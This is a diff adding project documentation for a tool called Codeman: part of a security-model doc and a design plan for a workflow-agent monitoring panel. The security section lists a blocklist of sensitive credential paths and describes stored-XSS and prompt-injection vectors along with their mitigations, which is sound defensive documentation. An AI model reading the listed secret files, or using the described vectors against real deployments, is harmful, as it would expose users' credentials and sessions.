+A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
+can carry `<script>`, same‑origin = full session control). `file-raw` therefore
+serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
+`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
+combination**, which forces a download instead of a render — not the CSP: the
+policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
+document *would* be able to run inline scripts if the browser ever rendered it.
+By the same combination, other text types (`.html`, `.xml`, …) that fall through
+to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
+injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
+
+### Download sensitive‑path blocklist
+
+`/api/download` additionally refuses a blocklist of sensitive paths
+(`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, `.aws/credentials`, …). This
+is **defense‑in‑depth, not the primary boundary** — the realpath containment is
+the control. The blocklist patterns are shared (`src/web/sensitive-path.ts`) with
+the attachment guard below.
+
+### External attachments (registry) & the magic‑link trust boundary
+
+Live external attachments (`src/attachment-registry.ts`) mint an `att_<uuid>` id
+for a host file so browser requests carry the id, never an absolute path. Serving
+is by id (`GET /api/sessions/:id/attachments/:attachmentId/raw`, 50 MB cap,
+`nosniff`) and re‑resolves the symlink + re‑checks the **attachment guard**
+(`src/config/attachment-guard.ts`: the shared sensitive‑path blocklist **plus**
+the `/root` and `/etc` trees, extendable via `attachmentBlockedPaths` /
+`CODEMAN_ATTACHMENT_BLOCKED_PATHS`) on every request. Unlike the workspace file
+routes, attachments are intentionally **cross‑workspace** — so the effective gate
+is the blocklist + a 6‑extension allowlist (`png/pdf/docx/pptx/md/txt`), not
+realpath containment.
+
+Two registration paths, with **different trust**:
+
+- **Explicit `POST /api/sessions/:id/attachments`** (and `codeman attach`, which
+  POSTs directly inside a managed session) — a deliberate, Origin‑guarded HTTP
+  request. Allowed cross‑workspace (subject to the guard). This is the supported
+  path for codeman‑publish and the `~/.codeman` review‑card loop.
+- **Terminal `codeman://attach?path=…` magic links** — scanned passively from
+  session output. Terminal output is **attacker‑influenceable** (a prompt‑injected
+  session can print an arbitrary path), and registration here is server‑side with
+  no Origin gate and broadcasts the `rawUrl` over SSE to all clients. This path is
+  therefore **force‑confined to the session workspace** (`forceWorkspaceConfinement`
+  in `registerExternalAttachment`, wired in `WebServer.registerAttachment`),
+  regardless of the global confine setting — a passive magic link cannot expose a
+  file outside the session's own workspace. Cross‑workspace attach must go through
+  the explicit POST path above.
+
+### SSE log‑tail route — intentional extra read roots
+
+The live file‑tail SSE route (`FileStreamManager`, used to stream a growing log
+into the UI) does **not** use `validateSessionFilePath`; it has its own validator
+with a deliberately **wider** allowlist: the session `workingDir` **plus two
+read‑only log roots — `/var/log` and `~/logs`** — so operators can tail
+system/app logs. `/tmp` is intentionally excluded (world‑writable). Like the
+other routes it `realpath`s the target and re‑checks right before spawning `tail`
+(TOCTOU guard), and it is read‑only. This is the one place the per‑session
+boundary is intentionally relaxed; on a password‑protected remote deployment an
+authenticated user can therefore read `/var/log` and `~/logs` outside their
+session dir. (Security review M5: this divergence is by design and is now
+documented here rather than silently diverging from the per‑session claim above.)
+
+### Known limitation — `workingDir` scope
+
+The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
+currently accepts an arbitrary absolute `workingDir` (validated as "exists + is a
+directory"). A session created with `workingDir=/` can therefore read files
+across the filesystem within that boundary. This is **pre‑existing** across all
+file routes and not widened by the recent changes. Recommended follow‑up:
+constrain `workingDir` to an allowlist (e.g. under the cases dir / `$HOME`).
+
+---
+
+## 6. tmux launch hardening (COD‑31)
+
+New sessions and respawns launch the tmux server/pane from a stable `/tmp`
+(`TMUX_LAUNCH_CWD`) and then `cd` into the real workspace **inside** the pane,
+against the live mount table:
+
+```
+respawn-pane -k -c /tmp -t <session> bash -c "cd <workingDir> && <cmd>"
+```
+
+This avoids a class of failures on FUSE/rclone‑mounted workspaces where a
+transient mount blip at launch poisons tmux's long‑lived cwd and crashes
+`new-session`. Safety properties:
+
+- **Fail‑safe cwd:** the command is `cd "<dir>" && <cmd>` — if `cd` fails the CLI
+  does **not** run in `/tmp`; the pane dies with a visible error instead.
+- **No injection:** `workingDir` passes `isValidWorkingDir` (absolute, rejects
+  `;&|$\`(){}<>'"` and newlines and `..`) and `isValidPath`, and is double‑quoted
+  in the pane command. Paths with spaces work; metacharacters are rejected before
+  reaching the shell.
+- It does not change which tmux socket is targeted, so instance isolation (§8) is
+  preserved.
+
+---
+
+## 7. Supply‑chain & build‑asset hardening (COD‑28)
+
+- **Dependency advisories:** security‑sensitive ranges are bumped to patched
+  versions, and `overrides` force patched transitive deps (`picomatch`,
+  `basic-ftp`, `fast-uri`, `flatted`). `test/dependency-security.test.ts` asserts
+  these stay patched in the lockfile.
+- **Lockfile integrity:** `npm run check:lockfile` (CI on every push/PR) fails on
+  drift between `package.json` and `package-lock.json`. All lockfile entries
+  resolve to `registry.npmjs.org` with `sha512` integrity hashes.
+- **Public‑asset checker:** `npm run check:public-assets`
+  (`scripts/check-public-assets.mjs`) scans `src/web/public/**` for literal NUL
+  bytes and runs `node --check` on every `.js` file (syntax validation), plus a
+  Prettier pass on maintained files. It uses `execFileSync` with argv arrays (no
+  shell), so filenames/content cannot inject commands; `node --check` only parses,
+  never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
+  bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
+  syntax checks still cover them.
+
+---
+
+## 8. Multi‑instance isolation
+
+The tmux socket (`tmux -L codeman[-<instance>]`) and data dir
+(`~/.codeman[-<instance>]`) are **process‑wide and shared by every Codeman on the
+machine**, derived from `CODEMAN_INSTANCE` (`src/config/instance.ts`). A second
+instance on the **same** socket discovers and attaches PTYs to the first
+instance's live sessions. To run instances side by side, give each a distinct
+`CODEMAN_INSTANCE` (scopes both dir + socket), or set `CODEMAN_TMUX_SOCKET` +
+`CODEMAN_DATA_DIR` individually. `CODEMAN_INSTANCE` defaults to empty = the
+production layout (`~/.codeman`, `-L codeman`, port 3000).
+
+---
+
+## 9. Transport security headers
+
+`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
+
+- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
+  deliberate widenings (so the policy is tighter than "self only" but every
+  exception is enumerated and same‑origin‑first):
+  - `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
+    (CDN fallback for a few libraries). `script-src` and `style-src` additionally
+    allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
+    `octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
+    Because `'unsafe-inline'` is still present (removing it needs a nonce
+    migration), AI‑derived strings rendered into the subagent/activity panels are
+    HTML‑escaped at the injection sites (`escapeHtml` in
+    `src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
+    so a hostile tool name or argument can't execute — defense‑in‑depth from the
+    2026‑06‑09 review (H4).
+  - `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
+  - `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
+  - `frame-ancestors 'self'`.
+  - **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
+    `'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
+    self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
+    `/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
+    production CSP is byte‑for‑byte unchanged.
+- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
+- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
+  `frame-ancestors 'self'`).
+- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
+  served over HTTPS (`--https`).
+- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
+  hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
+  headers. `OPTIONS` preflights are answered `204`.

+# Ultracode / Workflow Agent Visualization — Design & Implementation Plan
+
+> **Status: IMPLEMENTED (2026-06-15, rev. 3) — Phases 1–3 shipped & verified; Phase 4 (live-transcript link) deferred.** A dedicated, opt-in **master-detail tab** (`showUltracodeAgents`, default OFF) shows ultracode/Workflow runs as Claude Code's "working agents" TUI: LEFT = runs + phases (selectable tasks), RIGHT = each run's agents with model, live state, **tokens burned**, and **tool calls**.
+>
+> ### What rev. 3 changed vs. rev. 2 (decided during implementation against on-disk truth)
+> 1. **UI is a master-detail TAB, not grouped floating subagent windows.** The user asked for the CC "working agents" view (left task picker, right agent stats). Built as a new docked panel `#ultracodeAgentsPanel` (clones `.subagents-panel` master-detail CSS) + `src/web/public/ultracode-panel.js` — NOT via `openSubagentWindow`/grouped windows.
+> 2. **STANDALONE — zero edits to `subagent-watcher.ts`.** w16-claudeman's commit `f6a30d7` already discovers the per-agent workflow *transcripts* (`watchWorkflowDirs`). The data the view needs (run/phase/per-agent tokens+toolCalls) lives in the *run-state* JSON, read by a brand-new `src/workflow-run-watcher.ts` (globs the disjoint `…/workflows/wf_*.json` tree). No shared files with w16.
+> 3. **No per-agent transcript streaming needed for v1.** The run-state JSON already carries `tokens`/`toolCalls`/`state`/`label`/`phase` per agent, so the whole view reads from `wf_<runId>.json` alone. (Phase 4 will optionally link a card to its already-tracked transcript via `agentId` — no watcher edits.)
+> 4. **Agent states are `start | progress | done`** (verified on disk) — NOT running/queued. `start`=queued (no agentId/tokens/toolCalls yet), `done` has `durationMs`/`resultPreview`.
+> 5. **The run JSON's `script` (15–660KB embedded JS), `scriptPath`, `result`, `logs` are STRIPPED in the watcher** before caching/broadcast (a 28-agent run drops 174KB → ~25KB; `promptPreview`/`resultPreview` truncated).
+> 6. **SSE/snapshot ship lightweight run SUMMARIES (no `agents[]`); the RIGHT pane fetches the full run** via `GET /api/workflows/:runId` on selection. (A 25-run snapshot is ~20KB vs ~900KB if it carried every agent.) The LEFT list shows ALL cached runs (LRU-bounded), not a recency window — a run browser must show past runs.
+>
+> _Original rev. 2 proposal (grouped floating windows, extending subagent-watcher) preserved below for context; superseded by the above._
+
+### What changed in rev. 2 (vs. the first draft)
+
+1. **No backend cross-watcher coupling.** The per-agent label/phase/agentType/state **join moves to the frontend at render time** — the run object already carries every agent's entry keyed by `agentId`. This deletes `subagent-watcher`'s backward dependency on `workflow-run-watcher` (`getAgentLabel()` + its TTL cache), removes the registration-vs-run-state **race** (labels always track the latest `workflow:run_updated`), and drops the per-agent `meta.json` read from the hot path.
+2. **`SubagentInfo` grows by 2 fields, not 4** (`isWorkflowAgent`, `workflowRunId`) — both derivable from the file path alone at registration, zero extra I/O. `agentType`/`label`/`phase`/`state` come from the run object on the frontend.
+3. **The `isInternalAgent` bypass covers BOTH drop sites** — `registerAgentFile` *and* the late re-resolution in `processEntry`. The first draft named only one.
+4. **De-duplicated.** Each trap (`journal.jsonl`, the `projects/*/*/workflows` depth, the gate-mismatch lesson, reuse-not-rebuild) is stated once in its owning section.
+
+### Code-reuse verified against the tree (2026-06-14)
+
+Confirmed present and shaped as assumed: `subagent-watcher.ts` — `watchSubagentDir`/`registerAgentFile`/`tailFile`/`processEntry`, `getRecentSubagents`, `isInternalAgent` (drops on `MIN_DESCRIPTION_LENGTH=5`), `STARTUP_MAX_FILE_AGE_MS=4h`, `MAX_TRACKED_AGENTS`, `knownSubagentDirs`/`dirWatchers`. `team-watcher.ts` — `configMtimes` mtime-skip + chokidar + `setInterval` poll. `server.ts` — `setupSubagentWatcherListeners`, `getLightState()` (`subagents: getRecentSubagents(15)`, `LIGHT_STATE_CACHE_TTL_MS=1000`), `isSubagentTrackingEnabled()` (`settings.subagentTrackingEnabled ?? true`). Frontend — `_SSE_HANDLER_MAP`, `this.subagents` Map, `handleInit`/`cleanupAllFloatingWindows`, `renderSubagentPanel`/`_renderSubagentPanelImmediate`, `getTeammateBadgeHtml`, `openSubagentWindow` + `.subagent-window-parent` sub-header.
+
+## 1. The enabling fact: on-disk artifacts
+
+The Workflow tool (what `ultracode` drives) persists each workflow agent as a transcript under the **same `subagents/` directory Codeman already watches**, one level deeper. Empirically verified against a real run (`wf_a8e09f2c-550`); **re-confirm the shape against a fresh run at implementation time** (§8 mandates a live e2e pass anyway):
+
+```
+~/.claude/projects/<projHash>/<sessionUuid>/
+  ├─ subagents/
+  │    ├─ agent-XX.jsonl                    ← regular Task subagent (tracked today)
+  │    └─ workflows/wf_<runId>/
+  │         ├─ agent-YY.jsonl               ← WORKFLOW agent — IDENTICAL line format
+  │         ├─ agent-YY.meta.json           ← {"agentType":"workflow-subagent"} (optional enrichment)
+  │         └─ journal.jsonl                ← run journal {type:"started",...} — MUST be skipped
+  └─ workflows/wf_<runId>.json              ← run state: runId, workflowName, summary, status,
+                                               phases[], workflowProgress[], totals (DIFFERENT tree)
+```
+
+The per-agent `.jsonl` line shape is identical to a regular subagent transcript:
+
+```jsonc
+{ "parentUuid": null, "isSidechain": true, "agentId": "ac6a1d27012a64e38",
+  "type": "user" | "assistant", "message": { "role": "...", "content": "..." }, ... }
+```
+
+Because the line shape is identical, the entire existing parse→event→render pipeline works unchanged once discovery reaches those files. The only new data is the **run-level metadata** in `workflows/wf_<runId>.json` (name, summary, phases, and `workflowProgress[]` — the per-agent labels/state/tools), which supplies the group header and per-agent labels.
+
+**Can show:** per-agent live transcript (tool calls, messages, results); per-agent status (active/idle/completed via the existing mtime/PID/pgrep liveness); per-agent model + running token totals (from each agent's JSONL `message.usage`, exactly as today); the run's `workflowName`/`summary`/`phases[]`; per-agent `label`/`phaseTitle`/`state`/`lastToolName` (from `workflowProgress[]`); grouping under `wf_<runId>`.
+
+**Cannot show:** anything absent from the artifacts — a live phase cursor beyond `workflowProgress[].state`; an authoritative **budget/cost ceiling** (only consumed totals exist — `usage` + run-state `totalTokens`, no remaining-budget field); runs older than `STARTUP_MAX_FILE_AGE_MS` (4h) after a server restart (live monitoring only).
+
+## 2. Architecture
+
+**Decision: EXTEND `subagent-watcher.ts` for per-agent discovery/streaming; ADD a thin `workflow-run-watcher.ts` (modeled on `team-watcher.ts`) for the group-header metadata ONLY. The agent→run-metadata join happens on the FRONTEND, so the two watchers stay decoupled.**
+
+- The per-agent JSONL is identical in shape, so re-running it through `registerAgentFile()` → `tailFile()` → `processEntry()` and the existing `subagent:*` events is free and reconnect-safe (those agents land in `agentInfo`, replayed by `getRecentSubagents(15)`). A parallel per-agent watcher would duplicate the liveness/token/tool-call/SSE machinery for zero benefit.
+- Run metadata lives in a *different* file under a *different* tree (`workflows/wf_<runId>.json`, sibling to `subagents/`). A small `WorkflowRunWatcher` watching `projects/*/*/workflows/wf_*.json` (mtime-skip, like `team-watcher`'s `configMtimes`) is the clean home; folding it into `subagent-watcher` would entangle two unrelated watch roots and put a JSON re-read in the hot per-line path.
+- **The two watchers never call each other.** The frontend receives both streams and joins agent→label by `agentId` at render time (the run object carries every agent's entry). This removes the timing coupling entirely.

+```
+
+## 3. Backend changes (ordered, file-by-file)
+
+### 3a. `src/subagent-watcher.ts` — nested discovery + 2 tag fields
+
+**(1) Extend `SubagentInfo` with exactly two optional fields** (optional → regular subagents and the wire shape are unaffected):
+
+```ts
+isWorkflowAgent?: boolean;   // true when discovered under subagents/workflows/<wf_runId>/
+workflowRunId?: string;      // e.g. "wf_23dbeab2-152" (parent dir name)
+```
+
+Both are derived from the **file path alone** at registration — no extra reads. They ride existing `subagent:discovered|updated|completed` payloads (no new per-agent event). Do **not** add `agentType`/`label`/`phase`/`workflowName` here — those come from the run object on the frontend (§4c).
+
+**(2) Constant.** `const WORKFLOWS_SUBDIR = 'workflows';` near the existing dir constants.
+
+**(3) `watchSubagentDir()` — descend into `workflows/<wf_runId>/`.** After the existing direct-child registration loop:
+
+```ts
+// Workflow agents live one level deeper: subagents/workflows/<wf_runId>/agent-*.jsonl
+const wfRoot = join(dir, WORKFLOWS_SUBDIR);
+try {
+  for (const runId of await readdir(wfRoot)) {
+    if (!runId.startsWith('wf_')) continue;
+    await this.watchWorkflowRunDir(join(wfRoot, runId), projectHash, sessionId, runId);
+  }
+} catch { /* no workflows subdir — normal for most sessions */ }
+```
+
+The existing `fs.watch(dir, …)` on `subagents/` is **non-recursive on Linux** and won't fire for writes inside `workflows/<runId>/`, so each run dir needs its own watcher.
+
+**(4) New private `watchWorkflowRunDir(runDir, projectHash, sessionId, runId)`** — clone `watchSubagentDir`'s structure, but:
+- Register only files matching `^agent-.*\.jsonl$`, **explicitly skipping `journal.jsonl`** (it ends in `.jsonl` but is `{type:'started',…}`, not a transcript — registering it would create a phantom agent).
+- Call `registerAgentFile(filePath, projectHash, sessionId, isInitialScan, runId)` so the agent is tagged.
+- Install one `watch(runDir, …)` per run dir; on `error` and `stop()`, reuse the existing teardown (close + delete from `dirWatchers`/`knownSubagentDirs`/`dirWatcherErrorHandlers`).
+- Guard re-registration **per run dir** in `knownSubagentDirs`, **not** `wfRoot` — the 5s full scan must still re-`readdir(wfRoot)` to pick up *new* `wf_<runId>` dirs created mid-session.
+
+**(5) `registerAgentFile()` — accept + apply `runId`.** Add a trailing optional `runId?: string`. When set, the whole change is:
+
+```ts
+if (runId) { info.isWorkflowAgent = true; info.workflowRunId = runId; }
+```
+
+No `meta.json` read, no run-state lookup, no description override. `agentId`s are globally unique `a<16hex>` (verified: 0 collisions across a 370-agent corpus), so keep the flat `agentInfo` map keyed by `agentId` — do **not** switch to a composite key. Add a one-line dev-assert log if `agentInfo.has(agentId)` with a *different* `workflowRunId`, so a future collision is observable.
+
+**(6) `isInternalAgent` bypass — BOTH drop sites.** Workflow agents have no Task-tool spawn record, so `_resolveDescription` yields only the first-user-message fallback (often a long phase prompt) or empty → `isInternalAgent` (`length < MIN_DESCRIPTION_LENGTH`) would wrongly drop them. They are real by construction (the `subagents/workflows/wf_*/` path is the discriminator). Gate the drop on `!info.isWorkflowAgent` at **both** places:
+- `registerAgentFile` initial check (`isInternalAgent(description)`),
+- `processEntry`'s late re-resolution (the second `isInternalAgent` call).
+
+**(7) `stop()` teardown.** Per-run watchers live in `dirWatchers`, so the existing close-all loop covers them — verify no separate map was introduced (24h runs spawn many `wf_<runId>` dirs → FSWatcher leak risk).
+
+### 3b. NEW `src/workflow-run-watcher.ts` (singleton, EventEmitter — model on `team-watcher.ts`)
+
+- **Watch root:** `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` — **two** levels under `projects` (verified: `projects/*/workflows` is empty; must be `projects/*/*/workflows/`). chokidar `depth:3` + a poll fallback, mirroring `team-watcher`'s dual discovery + interval.
+- **mtime-skip:** `runMtimes: Map<absPath, number>` (mirror `team-watcher.configMtimes`).
+- **Parse:** read `wf_<runId>.json`, take the **top-level structured keys** (`runId`, `workflowName`, `summary`, `status`, `phases:[{title,detail}]`, `agentCount`, `defaultModel`, `durationMs`, `totalTokens`, `totalToolCalls`, `workflowProgress[]`). **Do NOT parse the embedded `script` string** — name/phases/summary are already top-level; the script's `export const meta` is redundant and costly. Derive `sessionUuid` from the dir name, `projectHash` from the dir above; expose `getProjectHash(workingDir)` for Codeman-session correlation.
+- **`workflowProgress[] → agents[]`:** filter `type === 'workflow_agent'`, map each to a `WorkflowAgentEntry` (§3c) keyed by `agentId`. **This array is the join source the frontend uses** — no backend `getAgentLabel()` API, no TTL cache, no import from `subagent-watcher`.
+- **Emit** `workflow:run_discovered|updated|removed` carrying `WorkflowRunInfo`; removal by set-diff (mirror `team-watcher`).
+- **Lifecycle:** `start()`/`stop()` with `CleanupManager` teardown of chokidar + interval + caches; `LRUMap`-bounded run cache (24h memory rule).
+
+### 3c. `src/types/` — workflow run types
+
+```ts
+export interface WorkflowAgentEntry {   // one workflowProgress[type==='workflow_agent']
+  agentId: string; label: string; phaseIndex?: number; phaseTitle?: string;
+  agentType?: string; model?: string; state?: string;       // 'done'|'running'|'queued'|...
+  lastToolName?: string; lastToolSummary?: string; tokens?: number; toolCalls?: number;
+}
+export interface WorkflowRunInfo {
+  runId: string; sessionUuid: string; projectHash: string;
+  workflowName?: string; summary?: string; status?: string;  // 'running'|'completed'|...
+  phases: Array<{ title: string; detail?: string }>;
+  agentCount?: number; defaultModel?: string;
+  agents: WorkflowAgentEntry[];          // workflowProgress filtered to workflow_agent, keyed by agentId
+  startedAt?: number; durationMs?: number; totalTokens?: number; totalToolCalls?: number;
+}
+```
+
+The two `SubagentInfo` workflow fields stay inline in `subagent-watcher.ts` (matching the existing convention).
+
+### 3d. `src/web/sse-events.ts` — register run events
+
+Add `workflow:run_discovered`, `workflow:run_updated`, `workflow:run_removed` after the `subagent:*` block and to the `SseEvent` union. **No new per-agent event** — workflow agents reuse `subagent:*`.
+
+### 3e. `src/web/server.ts` — bridge, snapshot, gating
+
+- **`setupWorkflowRunWatcherListeners()`** (beside `setupSubagentWatcherListeners`): map the three run events → `this.broadcast(...)`. Add `cleanupWorkflowRunWatcherListeners()` (store handler refs).
+- **Start/stop:** call `workflowRunWatcher.start()`/`.stop()` beside `subagentWatcher`, **gated on the same enable condition** (§3f).
+- **`getLightState()`:** add `workflowRuns: workflowRunWatcher.getRecentRuns(15)` beside `subagents: subagentWatcher.getRecentSubagents(15)` so headers replay on reconnect (agents already replay via `subagents`). Keep the `LIGHT_STATE_CACHE_TTL_MS` memoization.
+- **Gating read:** add `isWorkflowAgentTrackingEnabled()` mirroring `isSubagentTrackingEnabled()` (boot-time `dataPath('settings.json')` read). Gate `workflowRunWatcher.start()` **and** the subagent-watcher `workflows/` descent (§3a-3) on `showUltracodeAgents` so non-opted-in users never register historical workflow agents.
+
+### 3f. `src/web/schemas.ts` — settings key
+
+Add `showUltracodeAgents: z.boolean().optional()` to the `.strict()` settings update schema near `showPlanUsageLimits` (required — `.strict()` 400s the whole PUT on an unknown key).
+
+### 3g. `src/web/routes/system-routes.ts` — poll API
+
+- `GET /api/subagents` and `GET /api/sessions/:id/subagents` include workflow agents once registered — **no change** (they carry `isWorkflowAgent`/`workflowRunId`; a consumer joins to `/api/workflows/:runId` for labels).
+- Add `GET /api/workflows` → `workflowRunWatcher.getRecentRuns()` and `GET /api/workflows/:runId` (uniform `ApiResponse` contract; headers are also in `getLightState`).
+- `GET /api/subagents/:agentId/transcript` works for workflow agents (they're in `agentInfo`) — no new route.
+
+## 4. Frontend changes (file-by-file)
+
+### 4a. `src/web/public/constants.js`
+- Add the three SSE strings to `SSE_EVENTS`, matching §3d exactly (`WORKFLOW_RUN_DISCOVERED: 'workflow:run_discovered'`, etc.).
+- Reuse `ZINDEX_SUBAGENT_BASE=1000` for the agent windows (they ARE subagent windows). The group **header/cluster** is in-flow panel DOM, not a floating window — no new z-index (1100 is plan-subagent).
+
+### 4b. `src/web/public/app.js`
+- Constructor: `this.workflowRuns = new Map();  // runId -> WorkflowRunInfo` beside `this.subagents`.
+- `_SSE_HANDLER_MAP`: add three rows → `_onWorkflowRunDiscovered/Updated/Removed` (must exist before `connectSSE` builds the wrappers).
+- `handleInit`: after seeding `data.subagents`, seed `this.workflowRuns` from `data.workflowRuns` (clear-then-set). **Clear `this.workflowRuns` everywhere the subagent Maps are cleared** (incl. `cleanupAllFloatingWindows`) — 24h leak guard.
+
+### 4c. `src/web/public/panels-ui.js` — the join lives here
+- `_onWorkflowRunDiscovered/Updated(data)` → `this.workflowRuns.set(data.runId, data)` + debounced re-render; `_onWorkflowRunRemoved` → delete + re-render.
+- **No change to `_onSubagentDiscovered/Updated`** — they already store the whole payload, so the 2 new fields ride along.
+- `renderSubagentPanel`/`_renderSubagentPanelImmediate`: when `showUltracodeAgents` is on, **partition `this.subagents` into flat (no `workflowRunId`) vs grouped-by-`workflowRunId`**. Flat agents render exactly as today. For each group: build the header from `this.workflowRuns.get(runId)` (`workflowName` + phase/status chip from `phases[]`), then render that run's agents reusing the existing per-agent row markup. **Per-agent label/phase/agentType come from the JOIN** — build `Map(agentId → entry)` from `this.workflowRuns.get(runId).agents` and look each agent up by `agent.agentId`; render the small chip via the `getTeammateBadgeHtml` pattern. (If the run object hasn't arrived yet, fall back to the agent's own `description` — the run `:updated` event will fill it in on the next render.)
+- `findParentSessionForSubagent` is unchanged — workflow agent `sessionId === session.claudeSessionId`. **Do not conflate `workflowRunId` with `sessionId`.**
+
+### 4d. `src/web/public/subagent-windows.js`
+**Decision: REUSE `.subagent-window` per agent + a group sub-header — do NOT build a cluster class.** A cluster path duplicates Map/z-index/drag/cleanup/persistence for no functional gain; reuse keeps connection lines, minimize-to-tab, and `localStorage` persistence. In `openSubagentWindow`, where the optional `.subagent-window-parent` sub-header is built: when `agent.workflowRunId` is set, inject a `.subagent-workflow-header` showing `this.workflowRuns.get(runId)?.workflowName` + the joined agent's `label`/phase (look up by `agentId`), mirroring the `from <session>` sub-header. Respect the existing skip guards (teammate-terminal windows, minimized/`_lazyTerminal`).
+
+**Do NOT auto-open windows** for workflow agents — a multi-phase run can spawn many, against the 50-window/60fps budget + `MAX_TRACKED_AGENTS=500`. They render collapsed in the grouped panel; the user expands via the existing panel buttons.
+
+### 4e. `src/web/public/settings-ui.js` + `index.html`
+- `index.html` Panels block: add a `settings-item` checkbox `id="appSettingsShowUltracodeAgents"` ("Show ULTRACODE / Workflow Agents").
+- `openAppSettings`: load `settings.showUltracodeAgents` with `false` fallback (mirror `showPlanUsageLimits`).
+- `saveAppSettings`: collect `showUltracodeAgents` into the fresh settings literal (uncollected keys reset to default every save).
+- Live-apply on toggle: re-run `renderSubagentPanel()` (show/hide group sections) — a panel re-render, not a CSS-class strip.
+- **SYNCED, not per-device:** do NOT add `showUltracodeAgents` to `displayKeys` and do NOT strip it in the per-device block. A synced value gives the server-side gate (`isWorkflowAgentTrackingEnabled`, §3e) one canonical truth to decide whether to run the watcher; a per-device value can't gate a process-wide watcher. (Contrast `showResponseViewer`, pure client display.)
+- `styles.css` + `mobile.css`: add `.subagent-workflow-header` and `.subagent-group-badge` next to `.subagent-window-parent`; mirror device overrides in `mobile.css`.
+
+## 5. Settings / opt-in wiring
+
+- **Key:** `showUltracodeAgents` (boolean, **default OFF**). Fallback `false` in `openAppSettings`; "absent ⇒ off" in `isWorkflowAgentTrackingEnabled()`. Schema `z.boolean().optional()` in the `.strict()` update schema, kept OUT of `displayKeys` (synced).
+- **Runtime gating:** `workflowRunWatcher.start()` and the subagent-watcher `workflows/` descent run only when the boot-time `settings.json` read reports `showUltracodeAgents === true` (mirroring `isSubagentTrackingEnabled`). The frontend additionally gates display. Toggling at runtime gates **display** immediately (panel re-render); the **watcher branch** picks up on next boot — matches existing `subagentTrackingEnabled` semantics. (Optional polish: restart just the workflow watcher on toggle for instant on/off.)
+
+## 6. SSE events
+
+**Reused (no change):** `subagent:discovered|updated|tool_call|tool_result|progress|message|completed`. Workflow agents flow through these; payloads now carry the optional `isWorkflowAgent`/`workflowRunId` fields on `SubagentInfo`. SSE payloads aren't schema-gated (typed only at `broadcast()` call sites), so the new fields propagate with zero friction.
+
+**New (3 events, run-level metadata):**
+
+| Event (backend const / frontend key) | Payload |
+|---|---|
+| `workflow:run_discovered` / `WORKFLOW_RUN_DISCOVERED` | `WorkflowRunInfo` |
+| `workflow:run_updated` / `WORKFLOW_RUN_UPDATED` | `WorkflowRunInfo` |
+| `workflow:run_removed` / `WORKFLOW_RUN_REMOVED` | `{ runId: string }` |
+
+Sync requirement (CLAUDE.md): each must appear in **both** `sse-events.ts` (§3d) and `constants.js` `SSE_EVENTS` (§4a), be emitted via `broadcast()` in `setupWorkflowRunWatcherListeners()` (§3e), and have a dispatch-table row + `_on*` handler (§4b/§4c).
+
+## 7. Edge cases & cleanup
+
+- **`journal.jsonl` phantom-agent trap** — owned by §3a-4: run-dir registration requires the `agent-` prefix and excludes `journal.jsonl`.
+- **`isInternalAgent` over-filtering** — owned by §3a-6: bypass at BOTH drop sites; titled from the frontend join (or the description fallback).
+- **No workflow agents in the flat list** — `renderSubagentPanel` partitions on `agent.workflowRunId` (§4c). When the toggle is OFF, the descent never ran, so they aren't in `this.subagents` at all.
+- **Completion/idle** — keep the existing per-agent mtime/PID/pgrep liveness as the per-card source of truth. Optionally render a group-level "workflow done" badge from run-state `status==='completed'`.
+- **Limits** — `MAX_TRACKED_AGENTS=500` LRU-evicts workflow agents in the same flat map; no auto-open (50-window budget); the 4h `STARTUP_MAX_FILE_AGE_MS` skip means a run completed >4h ago won't reload after restart (acceptable — live monitoring).
+- **Reconnect/replay** — agents via `getRecentSubagents(15)`; headers via `workflowRuns: getRecentRuns(15)` in `getLightState`. `handleInit` clears `this.workflowRuns` alongside the subagent Maps.
+- **Watcher teardown** — every per-run `fs.watch` and the chokidar watcher closes in `stop()` and on `error`; `CleanupManager` for the new watcher (24h runs create many run dirs).
+- **CLAUDE.md discipline** — read-only `~/.claude/...` artifacts; no new `~/.codeman/...` paths, no env-var prefixes touched. Claude-mode-only by nature (external CLIs don't write workflow transcripts).
+
+## 8. Testing & verification
+
+- **Unit (pure):**
+  - `test/workflow-run-watcher.test.ts`: feed a scrubbed fixture `wf_<runId>.json` → assert `WorkflowRunInfo` extraction (name/summary/phases, `workflowProgress`→`agents[]` keyed by `agentId`), mtime-skip, removal-by-set-diff.
+  - Extend `subagent-watcher` coverage: temp `subagents/workflows/wf_X/agent-Y.jsonl` + a stray `journal.jsonl` → assert `agent-Y` registered with `isWorkflowAgent`/`workflowRunId` and `journal.jsonl` NOT registered; assert a short-description workflow agent is NOT dropped at **either** `isInternalAgent` site.
+- **Route/inject (`app.inject`):** `GET /api/workflows` + `:runId` return the `ApiResponse` envelope; `GET /api/subagents` includes a tagged agent.
